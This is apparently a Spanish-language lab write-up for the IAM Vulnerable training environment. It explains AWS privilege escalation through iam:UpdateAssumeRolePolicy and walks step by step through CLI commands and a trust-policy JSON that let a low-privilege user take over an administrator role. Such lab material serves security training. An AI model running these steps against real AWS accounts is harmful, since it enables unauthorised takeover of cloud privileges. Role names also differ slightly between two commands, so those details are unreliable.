AssumeRolePolicy Update
Lab: IAM vulnerable
Una AssumeRolePolicy (también denominada política de confianza), define qué entidades pueden asumir un rol. El permiso para actualizar una AssumeRolePolicy cae técnicamente en la categoría de escalada de privilegios "Permisos sobre políticas". Sin embargo, AssumeRolePolicy merece una categoría aparte debido a su importancia en los entornos de AWS, además del hecho de que a menudo se malinterpreta.
La política llamada MiPoliticaEC2, especifica que el rol solamente puede ser asumida por el servicio EC2, como se indica en el objeto del JSON: “service”: “ec2.amazonaws.com”.
Cuando otra entidad del entorno (como un usuario u otro servicio) que intente asumir este rol AWS denegará la solicitud. Esta es una protección importante contra los intentos de escalar privilegios asumiendo un rol de privilegios elevados.
El permiso iam:UpdateAssumeRolePolicy proporciona a una entidad la capacidad de cambiar la AssumeRolePolicy de un rol. Por lo tanto, si un usuario no está incluido en esta política, pero tiene la capacidad de actualizarla, simplemente puede agregar su cuenta de usuario AssumeRolePolicy, y en consecuencia, asumir el rol. Según los permisos asociados con el rol, esto podría proporcionar una ruta para la escalada de privilegios.
Laboratorio
Usuario del laboratorio:privesc14-UpdatingAssumeRolePolicy-user con el rol:
Configuración inicial
Listar las políticas asociadas al usuario:
aws iam list-attached-user-policies --user-name privesc14-UpdatingAssumeR olePolicy-user
Después, usando el ARN del nombre de la política se puede listar los permisos:
aws iam get-policy-version --policy-arn arn:aws:iam::651927172911:policy/privesc14-UpdatingAssumeRolePolicy --version-id v1
Ahora se tiene que generar llaves de acceso para trabajar con el usuario:
aws sts assume-role --role-arn arn:aws:iam::651927172911:role/privesc14- UpdatingAssumeRolePolicy-role --role-session-name privesc14
Y configurar el acceso con AWS configure:
aws configure --profile privesc14
Y validar las llaves:
aws sts get-caller-identity --profile privesc14
Explotación
En este escenario, se tiene que crear un documento de política que contenga el permiso sts:AssumeRole sobre el ARN del usuario atacante
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:sts::651927172911:assumed-role/privesc14-UpdatingAssumeRolePolicy-role/privesc14"
},
"Action": "sts:AssumeRole",
"Condition": {}
}
]
}
A continuación, se tiene que modificar la política para un rol administrativo con el permiso update-assume-role-policy , con el objetivo de que el usuario privesc14 pueda asumir dicho rol:
aws iam update-assume-role-policy --role-name Rol-Administrator --policy-document file://assumerolepolicy.json --profile privesc14
Listando el rol que se acaba de de actualizar se puede observar que tiene capacidades de administrador
Dado que el rol apunta ahora a nuestro usuario y el usuario tiene capacidades de asumir roles, procedemos a asumir el rol actualizado malicioso:
aws sts assume-role --role-arn arn:aws:iam::651927172911:role/Rol-Administrator-Spartan --role-session-name privesc14admin --profile privesc14
Con las nuevas credenciales se proceden a configurar en aws configure con un nuevo perfil
aws configure --profile privesc14admin
Y dado que este rol ahora tiene permisos de administrador, podemos decir que se a comprometido exitosamente.
Última actualización